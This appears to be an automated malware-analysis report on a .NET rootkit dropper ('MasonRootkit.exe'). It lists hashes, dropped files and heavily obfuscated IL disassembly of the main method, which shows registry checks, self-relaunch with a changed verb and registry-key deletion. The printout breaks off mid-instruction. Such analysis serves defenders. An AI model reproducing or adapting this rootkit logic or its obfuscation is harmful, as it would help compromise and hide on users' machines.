Malicious
Malicious

849955535b2314f0abb2e85248736084

PE Executable
|
MD5: 849955535b2314f0abb2e85248736084
|
Size: 2.12 MB
|
application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
 Hash Value
MD5
849955535b2314f0abb2e85248736084
Sha1
202b2aca2c2d9eee7dd73032432670a03d1e5c22
Sha256
2f0ff1a3573cb45775b709b1e8df418ff7adcc5b678a52a768d02933b6174ca6
Sha384
961fd7e5ac1ba0eb39ad1c13f7ca3c4d04a2a49199569eb573c3ae1dc8d683b2694a601cbf5fb7673fdaf360b7887277
Sha512
58f0443550108eb16f8f11ba81bbcb333d543aa5e62267c581ed742771a8001039fd5868e31f443f195abc677e978290e2a7c1af4650d04f223ed270c672e416
SSDeep
24576:V2G/nvxW3WieCQdigWxHvnSe7kpmUpJDkDy+7XRjkpnCYMZ5hXXbl:VbA3jwiN1v6DkDyQOpnCtZ5tr
TLSH
B6A5AF0179519A75F0551933D6BF0A2087F4B8A42AA0E727BAF93B3D1E023B37D1D6C6

PeID

.NET executable
MASM/TASM - sig4 (h)
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual C++ 6.0 DLL (Debug)
Microsoft Visual C++ 7.0 - 8.0
Microsoft Visual C++ v6.0 DLL
Microsoft Visual Studio .NET
File Structure
849955535b2314f0abb2e85248736084
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
849955535b2314f0abb2e85248736084.decoded.vbs
Malicious
.Net Resources
Malicious
ol5grcv1.0qe
Malicious
Overlay_be82fa31.bin
Malicious
muSfOaqxg0OD.bat
runtimeMonitordll.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.sdata
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:1033
.Net Resources
HPKTqSjrcXvfpdttPr.jdWKASWppofG1A4bNO
jANEyRX5PMoHIIewRh.2FwaJrLIbRnysKt0jU
6I2n9HJu1iOlNM.vbe
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rdata
.data
.didat
.rsrc
.reloc
Resources
PNG
ID:0065
ID:1033
ID:1033-preview.png
ID:0066
ID:1033
ID:1033-preview.png
RT_ICON
ID:0001
ID:1033
ID:0002
ID:1033
ID:0003
ID:1033
ID:0004
ID:1033
ID:0005
ID:1033
ID:0006
ID:1033
ID:0007
ID:1033
ID:1033-preview.png
RT_DIALOG
ID:0000
ID:1033
RT_STRING
ID:0007
ID:1033
ID:0008
ID:1033
ID:0009
ID:1033
ID:000A
ID:1033
ID:000B
ID:1033
ID:000C
ID:1033
ID:000D
ID:1033
ID:000E
ID:1033
ID:000F
ID:1033
ID:0010
ID:1033
RT_GROUP_CURSOR4
ID:0064
ID:1033
RT_MANIFEST
ID:0001
ID:1033
lyqiq1ij.myarootkit
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
Resources
DLL
ID:0065
ID:1033
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.detourc
.detourd
_RDATA
.reloc
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

MasonRootkit.exe
Full Name

MasonRootkit.exe
EntryPoint

System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Scope Name

MasonRootkit.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

MasonRootkit
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.8
Total Strings

188
Main Method

System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Main IL Instruction Count

248
Main IL

ldsfld System.IntPtr System.IntPtr::Zero stloc.0 <null> call System.Boolean System.Environment::get_Is64BitOperatingSystem() brfalse.s IL_0015: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldloca.s V_0 call System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.IntPtr&) pop <null> ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0021: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brtrue IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr 
蝽
蝡
蝨
蝺
蝹
蝯
蝼
蝫
蝲
蝊
蝇
蝊
蝇
蝜
蝛
蝀 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) call System.Int32 <Module>::⇎ↂႋ⇝↞⇁⇀↩⇕⇂ↇ∷ↇ൲↹↽↋∶⇎ↆ⇙∷ ↽⇞⇎⇕ↇ↢ↇ↋ↀ↣↋↹⇎↩⇟⇎↌⇟↺Ↄ↹↭⇎ↇ⇎⇟⇜⇟⇚⇚ↂ↹⇞⇂⇟ↁ↋⇇↠⇎⇜∷ႋ⇙⇟↭↞↞↣∷⇀⇟↌↖↭↖⇎⇞⇎⇎ↆ↺↌∷⇕⇚↖↺↣⇞⇙() ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String) stloc.1 <null> ldloc.1 <null> brtrue.s IL_0084: ldloc.1 ldstr 
쁵
쁴 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1716895771 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) stloc.2 <null> br.s IL_00AF: ldloc.2 ldloc.1 <null> ldstr 
톝
톐
톝
톐 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1030083065 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) castclass System.String stloc.2 <null> ldloc.2 <null> ldstr 
ꭖ
ꭊ
ꭜ ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 152021807 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_00E6: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String) ret <null> ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_014A: nop call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.3 <null> ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.3 <null> ldstr 
괝
괚
괁
괎
괜 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 308915567 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String) nop <null> ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ pop <null> leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldc.i4.0 <null> ceq <null> stloc.s V_4 ldloc.s V_4 brfalse.s IL_0129: nop nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr 
ჺ
ღ
ჯ
ჽ
ჾ
შ
჻
წ
ჵ
Ⴭ
Ⴠ
Ⴭ
Ⴠ
მ
ნ
Ⴧ ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 866259113 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String) leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ pop <null> leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_018E: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() br.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_01A0: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldc.i4.0 <null> call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse IL_028B: nop ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Byte[] System.IO.File::ReadAllBytes(System.String) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String) ret <null> ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_020B: nop ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_020B: nop call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Int32 System.Diagnostics.Process::get_Id() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Int32) call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String) call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_020B: nop call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr 
才
扑
托
扊
扉
扟
扌
扛
扂
扺
扷
扺
扷
扬
扫
扰 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1051615774 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String) leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ pop <null> leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_024F: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() br.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0261: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldc.i4.0 <null> call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_028B: nop ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Byte[] System.IO.File::ReadAllBytes(System.String) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.String 